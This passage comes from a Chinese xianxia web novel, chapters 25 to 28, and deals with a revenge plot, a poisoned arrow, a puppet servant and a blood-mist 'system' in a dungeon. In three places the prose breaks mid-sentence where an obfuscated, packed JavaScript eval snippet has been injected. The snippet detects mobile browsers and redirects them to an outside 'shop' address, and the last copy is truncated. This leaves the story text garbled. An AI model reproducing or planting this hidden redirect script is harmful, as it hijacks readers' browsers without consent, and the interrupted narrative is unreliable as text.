缺失的氧气让她近乎丧失了思考的能力。方才,在她即将要用积分换取一线生机前,她的脑海中,竟莫名其妙地浮现了黎明珠眉眼弯弯的脸。 黎明珠前世在生死关头,她也是会哭着向系统求助的吗? 黎欢努力地喘息着,试图将最后一点的空气摄入肺里。如果是这样的话,那她就绝对不要用积分换自己的生机。 她说过,她要做那个完美的黎明珠。做什么,都要比之前的黎明珠更好更强。 要去攻略她身边最好的男性,要去让喜欢这个黎明珠的人比喜欢之前黎明珠的人多得多得多。 前世的黎明珠或许会用积分,但她,绝对不会用! 她伸手,努力往一旁的草丛中摸索着。 青羽笛,刚刚应是掉到这边了。 * 赵轻遥缩回了刚刚迈出的脚步,将适才拔出来一些的逢春剑柄, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049346|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢慢地推了回去。 她心中虽想着自己要等郑玄杀掉黎明珠后坐收渔翁之利,但真看到黎明珠要遇害在自己面前时,她还是没按耐住拔出了剑。 虽然不知道要面对的是个什么样的怪物,但她就是讨厌认识的人死在自己面前。 才往前走了两三步,她便猛然认了出来,追杀黎明珠的是个什么东西。 走更近些,看得便也更真切些。如果没有猜错的话,追杀黎明珠的,应该是南境深山中的无色虫。 既是无色虫,她便立马缩回了脚步。 泽霄真人和她讲过,无色虫是少有的对人没有强烈攻击性的妖兽。十年寿命的巨蟒吸入魔气变异后,便有可能成为无色虫。这种透明的巨蟒看似攻击力强、无懈可击,但实际上…… 变成了一种只会做恶作剧的食草妖兽,不但不吃人,连动物都不吃了。还不如变异之前从树上突然掉下来来的可怕。 无色虫喜欢追着人跑,缠着人玩。人越挣扎,它越高兴。 若是不理会他,或是稍微拿起武器打它一下,便会立即蔫头蔫脑地离去。 赵轻遥怕蛇,一开始怕得不行,连剑都不敢出。泽霄真人想尽办法,也没克服她对无色虫的恐惧。终有一天,他在下山采买时,坏心眼悄悄捉来了山中的一只无色虫放在她的身边。 赵轻遥在师父不在的极度恐惧之下,还是战胜了它。 不过,房屋也被拆了个干净。 泽霄真人回来时,两人面对着一片狼藉的平地,大眼瞪小眼,相对无言。 但现在想想,竟还算一段温馨的回忆。 无色虫极其罕见,把它当做可怕妖兽的人不在少数。不过郑玄缺心眼也就算了,诸何的手段她见识过……要是真的动了杀心,怎么会用无色虫来对付黎明珠? 倒像用这种看起来可怕的东西试探黎明珠的底牌。 赵轻遥摇了摇头。 有够新奇的,黎明珠竟不是他的人吗? 黎明珠仍挣扎得厉害,却并未对无色虫进行实质性的反抗。赵轻遥看得有些着急,正在犹豫要不要走上前去帮她一把,却被眼前的另一幅景象给僵在了原地—— 一丝丝鲜红的血雾,缓慢爬上来黎明珠的脖颈。 黎明珠似乎获得了一丝短暂喘息的机会,却又在血雾很快消失不见时,开始艰难地吐气。 她身上怎么会有血雾这种东西! 血雾不止一个。除了被镇压在炼心阁下的和被秦倚白吞噬的,还有其他存在! 赵轻遥脑中闪过一片白光,她就像被定在原地般,直直地望着黎明珠的方向,手脚冰凉。 她现在总共见过三个血雾。第一个血雾,是被赵家镇压后又被郑玄收服,成为险些将她害死在复仇路上的罪魁祸首;第二个血雾出现在第八峰,是从魂契阵的辟心上流淌出来的;第三个血雾,出现在了这个冒牌黎明珠的身上。 每一个血雾,都和赵家当年的冤案有关。 害死赵家全族的,果然不止那三个人。 头很痛,近乎是要炸开。撕心裂肺的疼痛不断地传递着,让她的眼前出现了层层虚影。 虚影中,黎明珠握着青羽笛,似死里逃生般大口喘息着。无色虫的尾部被青羽笛扎透,淌着流血的尾巴飞速逃窜着。 但下一刻,一只带着拖尾、从天而降的飞箭,直直地冲着黎明珠的头颅而去。 25.动手 郑玄站在秦家围墙外用于观景的高台上,有些不敢置信地看着夹着尾巴跑的无色虫。 逐影站在他的身侧,漠然开口:“你想要杀人,就是用这种办法的?” “不可能,不可能啊,一定是哪里出了岔子……”他喃喃地说道。 诸何说是留了一件魔物帮他杀掉的黎明珠,说是魔物凶险,让他到了地方,再打开那颗封印着魔物的珠子。 但为什么,放出来的就是这么个玩意? “你们家主就不能帮我想想办法吗?”他有些恼怒,几乎是强撑着镇静,勉强说出了这番话:“诸堂主出了岔子,你们也不帮一下忙。我丑话便放在这里,若是今天黎明珠不死,炼心堂的事情——” 话音未落,刺鼻到浓郁的血腥味,便顺着晚风悠悠飘来。 郑玄转头望去,却惊讶地看见,黎明珠正痛苦地蜷缩在地上。 一根带着五色尾羽的长箭,正没入了她的右臂。 箭尖应是有毒,带着一缕缕黑色的鲜血,顺着她的右臂不断地往外流。似乎是有些太痛了,她的双目紧紧阖上,出得气多,进得气少,口中还在喃喃地念叨着什么。 “哎呀,我这真的是,错怪你们了。这个箭是秦家主授意你们发出去的呀,真的不错。” 郑玄的脸色由阴转晴。他就说嘛,郑玄肯定和秦肆交代过,留有后手。 “既然她很快就死了,那我就不留了。”逐影冷哼一声,转头没入黑暗,消失不见。 郑玄并不觉得冒犯,他心中高兴得很。只要等到黎明珠断气,那颗悬在他心头的石头便也就落下去了。 好事,好事,简直是天大的好事。等事情了了,他回到雁铃城去,定要再娶两个美妾好好庆祝一下。到时候…… 脖颈上突如其来的凉意,打断了他美妙的幻想。 是一把剑。 散发着冰冷寒意的剑身,紧紧贴着他脆弱的脖颈。他甚至能嗅到,长年累月下,剑尖处隐隐约约的血腥戾气。 “郑叔叔,好久不见。” 少女清凌凌的嗓音带着笑意,猝不及防地在他身后响起:“见郑叔叔这么高兴,不如和我说一说,你把解药藏在哪里了呢?” “解药,什么解药?我不明白你在说些什么。你阿娘含辛茹苦经营炼心坊,把你送去学剑,就是让你这样把剑对准你的长辈的?” 郑玄嗤笑一声,冷冷转身。 然后他便骤然对上了那双冰寒彻骨的双眸。 整个雁铃城中,他最讨厌的,便是这双眼睛。和赵暄那个贱人,一样的狐媚样子。 他在梦中,见到过这双眼睛的很多副模样。 在雁铃城疯跑疯玩时的天真模样、得了剑道魁首的张狂模样、以及跪在他的脚下,求他帮忙再想一下炼心阁覆灭原因的绝望模样。 明明他郑玄才是雁铃城的主人,但所有人一想起雁铃城,第一个提到的,不是赵轻遥、就是炼心阁。 凭什么呢? 赵轻遥,一个被母亲捧着登上他郑玄穷极一生也难以攀登到的高处的小鬼,凭什么和名声能越过他郑玄的头上去。 凡人,也是要分三六九等的。是她自己,是赵家,太没有自知之明。 怨不得他。 可此刻,这双冰冷刺骨的眼睛,让他忍不住震了一下。 这绝对不是一个还未及笄的黄毛丫头的眼神,看得他浑身发毛。 “郑叔叔是不知道那枚箭是谁射出来的吗?” 赵轻遥状若惊讶:“怎么会有人,连自己要杀的人都不认识了?” 郑玄的瞳孔猛烈收缩了一下,目光如炬地盯着眼前的人。 她知道?她究竟知道什么? 得赶快将此消息告诉诸何和秦肆。 “没什么事情的话,就把你的剑拿开。我要走了。”不和她再纠缠下去了,之后在来收拾她。 他心中盘算着,佯装告别般挥了挥手,决意离开。 浓雾般遮挡视线的烟雾瞬间散开。郑玄抽身一动,月光也只能照到他的残影。他的修行天分一般,唯一撑得上优秀,便是他迅捷的体术。 身居雁铃城主多年,总得留两手预备的。这也是鲜少有人能害到他的原因。 只有黎明珠是个意外。 郑玄一边想着,一边朝着桥上的结界外跑去。按照逐影所说,为防止黎明珠逃跑,秦家外此处设置了只能进不能出的结界,但并没有对郑玄设防。只要他能跑出去…… 咚地一声。 前额磕在透明结界上的声音,十分沉闷。 郑玄不敢置信地向后退了两步。下一秒,锋利的剑尖,便抵住了他的后颈。 “郑叔叔跑什么呀?瞧你说得那么严肃。” 赵轻遥没有半分退让之意,嘴角的笑容仍未退去。她伸手拽过郑玄的衣领,让他直视着自己的双眼,轻声开口:“我不过是路见不平,拔刀相助罢了。” 黎明珠身上带血雾之事还没有个解释,她绝不能就这样死掉。 那只箭飞来的时间格外巧妙,是赵轻遥刚刚突然头痛的时候突然飞来,导致她没有第一时间将箭挡下,只是堪堪让箭头扭转了一下方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049347|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向,没有直接射进黎明珠的脑门。 但谁曾想到箭上带毒呢? “我当真是听不懂你在说些什么。我和秦家的管事逐影是多年的好友,不过是来看看他,到被你当成坏人了。” 郑玄有些不耐:“就算你不把我当成你的长辈,但我好歹也是看着你的长大的。轻遥,你还小,我可以不追究你的冒犯。但若是雁铃城的那么喜欢你的街坊邻居们知道你这样对他们尊敬的城主,他们又会怎么想,你的阿娘又要如何自处呢?” 一番说辞,冠冕堂皇,竟是拿他人的看法来威胁她。 赵轻遥眨了眨眼,觉得有些好笑。 他大概是在雁铃城主的位子上坐了太久了,久到什么是该做的事情,什么都不该做的事情,都已经抛到了脑后。人心不足蛇吞象,在他决意害赵家时,每年向炼心阁收的大笔金银和珍宝早就被他抛到了脑后。 既然如此,她也不想再多说什么了。 所幸千年浮妄草还有一些,她不介意再将人打晕,用离心术搜查一下记忆。 “郑叔叔,我有没有和你说过。”她的表情很是无辜,轻声开口:“你真的是蠢得一如既往。” “你说什么?”郑玄不敢置信地瞪大了双眼,恶狠狠地将脸凑近了赵轻遥的脸庞:“你再说……” 话还没说完,手刀起落,沉重如山的身躯重重坠下,掀起一地的灰尘。 赵轻遥长叹一口气,正欲将最后的一点千年浮妄草拿出,却只惊觉,身后一凉。 她警惕回头,却发现除了倒在地上的黎明珠外,并无他人。 错觉吗? 她低下头揉了揉眼,再次睁开双眼。 不,不是错觉。 一缕鲜红似血的雾气,正从黎明珠的伤口处缓慢飘出。似乎是想要飘出更多,却又在撞到那个从黑暗中走出来的身影时,生生顿在原地。 随即,迫不及待地回到了伤口中。 秦倚白的身影,便那样出现了在了昏暗的灯光下。 少年身形修长,立于隐约的黑暗中,如松如竹。乌发半束,浓密的睫毛如蝶翼般振翅,雕刻般线条分明的脸庞上仍带着往日般平静的微笑。 赵轻遥的目光逐渐下移,聚集到了他的手上。 她见过很多次秦倚白拿剑的样子,只是这一次,他手中拿着的不再是那把她所熟知的逐仙。 而是一把银光璀璨的长弓。 他留意到她注视着长弓的震怒眼神,轻轻开口: “人是我引来的。” “箭,是我亲手射的。” 26.计谋 “掌门马上就要了。你们最好想一下,自己要说些什么。” 诸何转了转手上的串珠,面色有些阴森。 他和云弄潮不过才离开了那么几天,璇云仙宗就闹出了这么大的事情。不知郑玄那个蠢货,有没有按照他说的去做。 内观塔位于璇云仙宗的戒律堂后,共有九层,专为关押犯了错的弟子使用。 金灿灿的飞檐翘角下,周身布满红色符咒的银铃被风吹动,发出一声声悦耳的脆响。 弟子犯下的错事越大,被关押的层数也就越高。 可犯下弥天大祸的人毕竟只是少数。自建内观塔以来,就连诸何自己,造访第七层及以上的次数都是屈指可数。 但此刻,第七层不大的暗室内,每个角都挤满如鹌鹑般缩头缩脑、脸色苍白的少男少女。 他们无一例外地身着外门的弟子服饰,浅蓝色的外衣在地上蹭到了灰,布满了东一道西一道灰痕。有人似乎还未从惊吓中缓过神来,紧抿的双唇不肯说话。但有人已经发颤着开口,涕泗连绵: “堂主,都、都是方咏乐害我们的,都是他!” 他颤抖的手指向对面那间暗室中一声不吭的少年,大声喊到。仿佛说得越大声,便越有底气。 “都是他的错,是他骗我们说,只用一点点魔气修行是无碍的。我们只是想通过内门弟子的测验,其他不知道,真的不知道呀。” “不知道?” 诸何饶有兴致的挑了挑眉: “你不知道什么?是不知道掌门会发现此事,还是不知道凡是依靠魔气修行的璇云仙宗弟子,都一律按照魔修处置的宗规?” 他悠悠地叹了一口气:“当真是胆大包天。” “就是。”少年声线散漫,带着才睡醒的鼻音,忽然在诸何身后开口。 诸何抬眼盯去,这个名为方咏乐的少年长发高束,白净的脸上,干涸的血迹清晰可见。 他正仰躺在稻草堆上,口中正叼着半根稻草。即便是被戒律堂堂主这样盯着,也未见半分悔过和紧张。 眼瞅着诸何在看他,他也不过懒懒地瞥去一眼,便换了一个更舒服的姿势翻了个身: “我早就说过了,一分价钱一分货。他们想要当内门弟子,又只舍得花那么点钱,那我就只能给他们提供这个办法。我还以为大家都知道用魔气修习有多危险呢,哪里会料到他们真去试了。自己选择的路,如今又在这里鬼哭狼嚎什么?” 外门弟子多为凡人,确实有人不懂用魔气修行和用灵气修行的区别,会考虑从轻发落。但方咏乐是内门弟子,他不但收人钱财助人作弊,还欺骗同门用魔气修行。被抓住了也是这副嚣张至极的模样,半分悔过之心也无。 诸何皱起了眉头。 他之前在内门从未见过这名叫方咏乐的少年,大大小小的修仙世家中,仿佛也没有姓方的…… “诸堂主,依你看,我这次会被判什么惩罚?”方咏乐似是觉得有些无聊,揪了几根干枯的稻草,在手中搓着玩。 “这得把你的师尊叫来,一同商定。”诸何不咸不淡地回答。 宗规明面上是一视同仁,实则主要针对的,还是外门弟子。内门弟子中修仙世家的人过多,行事略跳脱的人不少,这群金枝玉叶,得按照另一套规矩来处置。 这个方咏乐实在不像是没有坚硬后台的样子,最后怕是不轻不重斥责两句也就罢了。 “无聊、无聊、太无聊了!”他大喊了几声,又很快蔫了下去。眼珠滴溜溜地转了几圈,又向着诸何找了招手。 诸何只当没看见,耐着性子又转了几圈串珠,声音中也多了几分不耐:“我再说一遍,肃静,掌门马上就要来了。” “堂主,堂主,哎啊,你靠近一些嘛,我是要向你坦白另一件秘密。这件秘密,只能讲给我们璇云仙宗最帅、最潇洒、最近人情的诸堂主听!” 方咏乐压低了声音,用只有他和诸何才能听到的声音,不断地小声请求着。 诸何忍了又忍,忍无可忍。 “你说吧。”他阴着脸望过去。 方咏乐笑眯眯地说着,仿佛在和诸何商量,晚上要吃什么: “我前段时间在禁地偷懒睡觉,不小心看到,有个和诸堂主长得一模一样的人,偷偷地将禁地封印的那只特别大的妖兽收到一个珠子里面了。啊,是长得像蟒蛇的那只,我也不知道它是什么名字。总之,就被带走了。” “总之,堂主要不要和我一起到掌门面前辩辩真假啊。不想辩,啊那也没有关系的,堂主只要帮我一个小忙,我保证——” 他从容地对上了诸何满是杀气的目光。 “整个仙灵界,都不会有第三个人知道的。” * “秦倚白,我不太明白你的意思,你到底是想要做什么呢?” 赵轻遥先前维持的笑容逐渐淡了下去,目光似淬冰了一般寒:“你把我和黎明珠一同骗到了你的地界上,就是为了让我目睹,黎明珠的死吗?” “我警告你,你不要因为我冒充了别人的身份,拒绝了你合作的要求,就把怒火牵连到无辜的旁人身上。你要是想用别人的命来威胁我,那我就算是被秦家针对到粉身碎骨,也会想尽办法杀了你的。” 她短暂地沉默了一下,继续讲了下去:“如果我没有记错的话,黎明珠是你的师妹。你这样利用她的性命,不配她的一声师兄。” “我替她觉得不值。” 更替曾经叫过他师兄的自己感到不值。 秦倚白声音淡淡,听不出任何的情绪起伏。明暗起伏的灯影照在他的脸上,微凉的夜风掀起他的衣角,更显得人影修长挺拔: “赵姑娘,在你心里,我就是这样的人吗?” “你难道不是吗?”赵轻遥听着这话,觉得有些奇怪:“你也活了两辈子了。做人,就该有点自知之明才对。” 秦倚白听到这话,却也半分生气的神情也无,只是平静地点了点头:“你说的对,是我唐突了。” “逐影。” 地面的残影一晃,光与明瞬间交织。起先,像是站起来了一块如融化了的蜡烛;随后,蜡烛又逐渐有了棱角。逐影沉默而高大的人形,就那样立在了赵轻遥的身前。 赵轻遥还算淡定地打了声招呼。 逐影的眼神空茫,如没有听到一般,并未给她任何的示意。 有点奇怪。她上次和秦倚白比剑时遇到的逐影,虽是对她这个外人防备了一些,没有礼貌了一些,但并不像眼前这个一样呆呆愣愣的。 她伸手在逐影的面前晃了两下。这个高大壮硕的男人,却连眼皮都没掀一下。 正常情况下,他不该说什么“要记得自己的身份”“休得对少主无礼”之类的话吗? 赵轻遥觉得有些新奇。她正欲张口在说些什么,但秦倚白轻声吩咐逐影的声音,落到她的耳边,却如惊雷乍起: “秦家尊神,宅邸外见不得血污。此三人在此斗殴,冒犯溯荒神君天颜,把他们都带回去吧。” “给郑玄城主安排一间客房。其他两人,直接关入地牢中。等我禀明了父亲情况,再做处置。” 他的神情淡漠,隐于光中。那一瞬间,赵轻遥忽地就想起了,她幼时拜天恩时,曾见过的溯荒神君的神像。 隐于人间袅袅的香火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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今生再见,她不太喜欢戴发簪。每每见到她时,都是用丝带缠入长辫中。执剑而立时,亮色的丝带也随风飞舞,仿佛整个人都在闪闪发光。 和前世的黎明珠一模一样。 “你送的我不是不喜欢,是我常常出去和别人打架,万一别人比我厉害,直接把我放倒了,倒地的时候发簪直接戳进我的脑袋怎么办?” 从第八峰回来后,有关前世黎明珠的记忆,便逐渐增多了起来。 两张不同的脸,两双一模一样的眼睛。在秦倚白的梦中,慢慢地重叠了起来。 他叹了一口气,抬眼望了一眼逐影一手抱着一个人离开的身影。 早知道把活人做成灵傀那么有用,他就不该忍逐影那么多天。逐影被制成灵傀后,听话了许多。不仅彻彻底底地服从他的命令,而且…… 让他探听到了不少父亲的秘密。 逢春仍躺在地上嗡鸣着。 它的年岁尚浅,并未化身出剑灵。主人遇险,作为本命剑的它也只能躺在地上干着急。 小织从秦倚白的衣摆上一跃而下,摩拳擦掌:“主人,我来帮轻遥姐姐拿着这把剑吧。” 逢春更激烈地震动了一下,一点点带着寒光的剑刃猛地出鞘,斩出了一道激烈的白光,以表抗议。 小织被吓得侧身一躲,缩回了手。 它摸了摸自己的手腕,心有余悸。可不想手再被这把剑砍掉一次。 “刀剑戾气太重,你是丝线做的,怕是拿不动。”秦倚白将身侧的人换了个更舒服的姿势靠在身上,伸手轻轻地抚上逢春。 剑身正连着剑鞘拼命挣扎着,紧紧贴在地面上。出鞘的那部分剑刃嗡鸣着,却没有再多激烈的反抗。 更像是在试探。 “我们认识的,不是吗?”秦倚白轻轻开口。 “不是前几天在第八峰认识的,是很久很久之前。你被你的主人封印在璇云仙宗密道外的那片湖水中的时候,我们就认识了。” “好久不见,逢春。” 27.系统 自重生后,赵轻遥已经很久没有陷入这般沉的睡梦中了。 睡眠黑甜,没有做任何的梦。她像是躺在了一艘摇摇晃晃的小船上,风波平静,日光和煦。迎风吹来的,都是海水潮湿而独特的咸香气。 只可惜,在她睁眼的一瞬间,梦乡中这份仅剩的闲适,也消失殆尽了。 她捂着眼睛适应了一会,才逐渐适应了眼前不断晃动的明亮烛光。昏迷前的记忆在下一刻纷纷涌入脑海,她心中一跳,猛然坐了起来,抱紧了怀中的逢春。 依稀记得秦倚白说,是把她和黎明珠一起关进了秦家的地牢。 纯纯的恼羞成怒。 把她骗来,还耍了个那么肮脏的心眼子。 他到底有没有过抓人的经验?囚犯身上所带的武器都还在,甚至连芥子囊都没收走。她想逃出去,还不是分分钟的事情。 赵轻遥心中腹诽一句,这才抬起头来,慢慢打量着四周的环境。 她早就知道,秦家乃神族后裔,处处都要凹显自己与其他世家、其他门派的不同。到了秦肆这一代家主,更是变本加厉,力争第一。 但即便如此…… 她皱了皱眉头,再次环顾了一遍周身。 倒也不至于连地牢的设计,都弄得这般独特吧? 这种东西有啥好争和别人不一样的? 寻常地牢,无非是地下一条幽暗狭长、血迹斑斑的通道,两边分布一些关押、拷问囚犯的暗室。 但眼前的光景,说是地牢,倒更像是一棵树的根部。 供人行走与使用的空间呈一圈圆弧形,紧紧围绕着中心盘枝错节的粗大树根。从上之下,深扎于地。有一部分树根继续向下前行,但另一部分树根,又是像周围延伸的。 延伸的树根恰巧将圆弧形的空间切隔开,形成了一间单人囚禁的牢房。 赵轻遥周身的四堵墙,左右两堵都是延伸的树根围困而成。身前是一扇透明的结界,不仅能看到正对着主树根的方向,甚至还能看到其他房间中的情况。 如果没什么意外的话,这里就应该是一个正常的出口。解开结界,然后顺着主树根上的机关回到地面上。 但能看到其他房间的情况这件事,就属实有一些诡异了。 比如现在,她就能看到,黎明珠仍脸色苍白地在她左侧的房间内昏睡。只是右臂上的伤口已经被包扎一下,没有再出血了。 赵轻遥前世是以黎明珠的身份杀掉了郑玄,所以郑玄重生后,迫不及待地想要处理掉黎明珠。她前世种下的因,被是这个冒牌货接下了果。 但是她不理解的,秦倚白为什么会掺和进郑玄的计划?甚至还能做出补一刀暗箭这种事情来。 一路走来,赵轻遥虽然不知道到底发生了什么。但看起来,他和秦家的矛盾,看起来不是一天两天的事情了。 他应该不会帮助秦肆做事。 秦倚白现在应该不知道她前世和黎明珠是同一个人的事情,她也应该没有用黎明珠的身份得罪过秦倚白才对呀。 她努力地回想了一番,仍觉得毫无头绪。 算了,想不起来便想不起来。等她画个传送阵先出去了,再想此事也不迟。 但是…… 她望了黎明珠几眼,犹豫了几番,走近了左侧的那面树根墙。树根想来也不是什么普通树根,韧性十足,用力砍了几次,也没有掰断。倒是中间的缝隙被扯大了一些,足以完整地递去一张传送符咒。 东西她送到了,有没有用就不知道了。 就当卖她一个人情。 从黎明珠伤口中冒出的血雾是在是让赵轻遥觉得心中不安,她得找个机会,更靠近她一些。 “萍水相逢,祝你好运吧。”赵轻遥轻声说道。 “别走!” 赵轻遥正打算起身,不大的空间内,尖锐的女声骤然响起,刺得她耳膜生疼。 这不是黎明珠的声音。 一团血色的雾气,从黎明珠右臂包扎好的伤口中,悠然飘出,就那样晃晃悠悠地浮现在了赵轻遥的眼前。 和前世的郑玄死去的那个雷雨夜出现的血雾,今世第八峰被秦倚白吞噬掉的血雾,几乎一模一样。 赵轻遥警惕地后退两步。 被紧紧捏在手中的逢春剑开始嗡鸣作响,毫不吝啬地表达出自己不满的情绪。 “你也是血雾的亲戚?”她冷淡地问道。 “我确实和他们是亲戚,但我比他们都要聪明很多。你要这么把我和那些只能服从别人命令、没有自己独特意识的蠢货混为一谈的话,我也没有办法。” 血雾如人般耸了耸肩,从树根的缝隙间溜进了赵轻遥所在的室内。 它似是早便预料到了赵轻遥对它的防备,故不远不近地和她保持着距离。 “准确来说,我还是喜欢别人叫我另一个名字。你不介意的话,可以叫我系统。” 赵轻遥冷笑了一声:“我管你叫什么东西,你先给我解释一下,你是从哪里冒出来的妖兽?” 她已经和血雾交过两次手了,如果这个冒牌黎明珠的身体是被这只妖兽控制的话,她不介意再和它打一次。 霸占别人的身体,算什么本事。 “我说过,我对你没有恶意,和那些只会听从别人命令的东西不一样。我能知道你内心在最渴望的是什么,也能知道被人内心在想什么。每个人的内心,在我这里,都能被窥探到。” 系统嘻嘻一笑,转了圈飘来: “比如你现在根本就没有想着跑出秦家。你就只想用传送阵从从地牢出去,再悄无声息地拧掉郑玄的脑袋,然后把这口锅扣到秦家身上。” 这点倒是没有说错。 赵轻遥懒得反驳,毕竟她确实是这样想的。 “那还有呢?”她向着黎明珠抬了抬眉:“给我讲讲,她又在想些什么呢?” 系统停止了无休无止的转圈,突然就僵在了空中。它似是犹豫了一下,才神神秘秘地开口: “她呀,她想杀了你呢。” * 黎欢已经很久没有梦到自己还是黎欢的时候了。 她其实,也不记得自己在外门都做了什么了。吃饭,上课,修行,下山卖花,睡觉,然后参加一季一度的内门弟子小选。 外门弟子在璇云仙宗的修行,并不是免费的。若未入内门,则每年都需交上一笔对许多凡人孩子并不算 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西境的神魔之墟裂缝又扩大了一些,各门派都派出了不少精英弟子去除妖。璇云仙宗是诸堂主带着人去的,弟子们都没啥事,就是不知道诸堂主为什么受了那么重的伤…… 师妹说了许多,黎欢有一搭没一搭地听着,敷衍地应答着,只觉得无趣至极。最终借着肚子痛的借口,跑去一旁透透气。 其实,她是要偷偷去折不言阁后的梅花。 内门的什么都好。灵气盛,连红梅长得都比外门的要美上几分。甚至这么美的红梅,也只配做偏僻角落里的点缀。 只可惜她刚偷偷剪了一枝,便感受到这里的气息突然变得十分奇怪。 不言阁聚集着弟子中的佼佼者,灵气旺盛才正常。但此刻,即便黎欢修行尚浅,她也能清楚地感受到,空气中蔓延着的似乎不是灵气。 倒像是传说中的魔气。 她被吓得不敢出声,正打算趁人没发现偷偷逃跑,却转身与人撞了个满怀。 下一秒,一束带着浓烈香气的红梅枝,在即将贯穿了她的胸膛的那一刻,硬生生地停了下来。 她对上了黎明珠那双过分警惕的眼睛。 黎欢印象中的黎明珠,总是衣着光鲜、眉眼温柔的。她从未见过黎明珠以这般狼狈的模样示人,整个人都在颤抖,唇边甚至还带着未干的血迹。 不知是她的,还是别人的。 “你回去吧。”黎明珠看着她的外门弟子门服沉默了一下,最终说道。 她将倒在自己身后的人藏得很好,若不是衣袖上露出半边的秦家云纹,黎欢过于熟悉的话。 那是秦倚白师兄的衣服,和其他所有弟子都不一样。 浓郁不断的魔气,便是从秦倚白身上散发出来的。 黎欢走的时候偷偷回了一下头,眼见着黎明珠周身爆发出了她从未见过的强劲灵气,硬生生地压制了空气中飘荡着的魔气。 或许红梅的香味太过浓烈。以至于黎欢回去之后,只不过睡了一觉,就将那天的事情忘了个干净。 而她现在,再次在梦中想了起来。 28.传送 “我和你说这些,没有其他的什么意思,只是想和你交个朋友罢了。若是我的那些蠢货亲戚冒犯了你,你心怀芥蒂,我也能够理解。” 系统见赵轻遥长时间不回答,竟叹出了似人般的一口气。 “你难道就不好奇,黎明珠为什么能够一跃成为璇云仙宗内门弟子,然后出现在你的身边吗?她是奉人之命,要来取你的性命。” 赵轻遥仍没有出声。 这些故作玄虚的话听着就腻烦。想取就取吧,反正想杀她的人又不止这一个。 系统没有等到想要听到的渴望回答,沉顿了一刻,继续说了下去。 “我受过暄夫人的恩,所以想要来帮你。只可惜我现在受人禁锢,必须要用我系统的能力帮助她做事,只能趁她昏迷,以这样的方式来提醒你。” “我的母亲曾经帮过你?”赵轻遥神色一动,正在布传送阵的动作也停滞了下来。 她是不信系统说的那些话的,但看起来这个系统没有攻击她的意思。她已经多年没亲手布过传送阵法了,布阵还是需要一些时间的,她也不介意姑且听个响。 但为何会突然提到暄夫人? 赵轻遥只觉得隐隐有些不安。重生回来后事情颠覆的太快,总有些超出了她前世的认知。她每往前走一步,都像是走入了别人早就布好的网中。 她可以容忍自己被卷入这些事端,哪怕手染鲜血、玉石俱焚。 但暄夫人不行。 从她开始记事起,母亲从来是个神秘而温柔的人。 赵暄很少走出炼心阁,更是几乎没有离开雁铃城的时候。炼器室的门一关,数不胜数的天下名兵便在她的手中诞生。 但她自己,却从不用兵刃。 天下第一炼器师的赞誉沉甸甸地落到了她的头上,世家和门派请她走出炼心阁的邀约和请求如雪花般飞往赵家。赵暄不过扫一眼,就将这些名贵的请帖丢入了熊熊燃烧的炉火中。 世人都说赵暄脾气古怪,却是个难得的炼器和经商奇才。赵家在她出现前,不过雁铃城籍籍无名的一任小卒。但在赵暄接手后,却一跃成为仙灵界中富甲一方的炼器商族。 但炼器的本领,却一样都没有教给赵轻遥。 她是世上最温柔、最会为女儿着想的母亲。唯独在这件事上,她从不退让半分。 “我不是小孩子了!炼器室下压着血雾就压着呗,它就算蹦出来,我也不一定打不过它!”赵轻遥不理解。 她吵过闹过也发过脾气,但赵暄对她说话的语气永远那么温柔。 “瞳瞳,你以后不会用到这些的。”她轻轻抚摸上赵轻遥的脸颊,深棕色的眼眸中,有着缓缓流淌的淡紫色光芒。 这一等,就再也没有以后了。 十年后,当赵轻遥重建炼心阁后,无论她再怎么努力,出品的神兵也不比母亲当年。 她想去寻找一些母亲曾经的经历与际会。可任凭她怎么寻找,都是空白一片。到了最后,就连泽霄真人也开始劝她放弃。 她也是这时才惊觉,所有人、包括本应该最亲近母亲的她,对母亲的过去,都是一无所知。 可是一个人,怎么会没有过去呢?她几乎没有出过雁铃城,又是怎么会的魂契。 母亲的过往,是她前世未解开的秘密。 “你知道她的过去?”赵轻遥头也不抬地继续画着阵法,仿佛这对她来说只是一件无关紧要的事情。 系统说到底,也不过是血雾的一种。血雾最擅迷惑人心,系统又自称有着读心术,无论真假,她都不能让他猜到她想知道什么。 系统的语气忽然变得忧伤而怀念,滚落的血珠如泪般洒下,落地时激起阵阵白烟:“那都是些陈年旧事了。你要是想知道,我自然是愿意说给你听的。下次若有机会,我会和你慢慢道来。若是你现在实在想知道,不如和我……” “做个交易”四字还未说出口,赵轻遥便毫不留情地打算了它循循善诱的话语:“好啊,那就下次再说吧。” 传送阵已成,她唰地站起身来,拍了拍手上的灰尘。这次回答得太过爽快,就连系统也差点没反应过来。 她看了一眼还躺在原地的黎明珠,没有半分留恋的意思:“我该走了。” 不知是对系统说的,还是对黎明珠说的。 “那两张传送符,不知道有没有用,你记得提醒一下她。”传送阵的紫光闪烁,赵轻遥语气轻快地抛出了最后一句话,随即消失不见。 系统站在原地,久未出声。 粗声粗气的男声率先从口中吐出:“就这样放她走了?” 妖娆妩媚的女声随即接上:“她还会回来找我们的。” 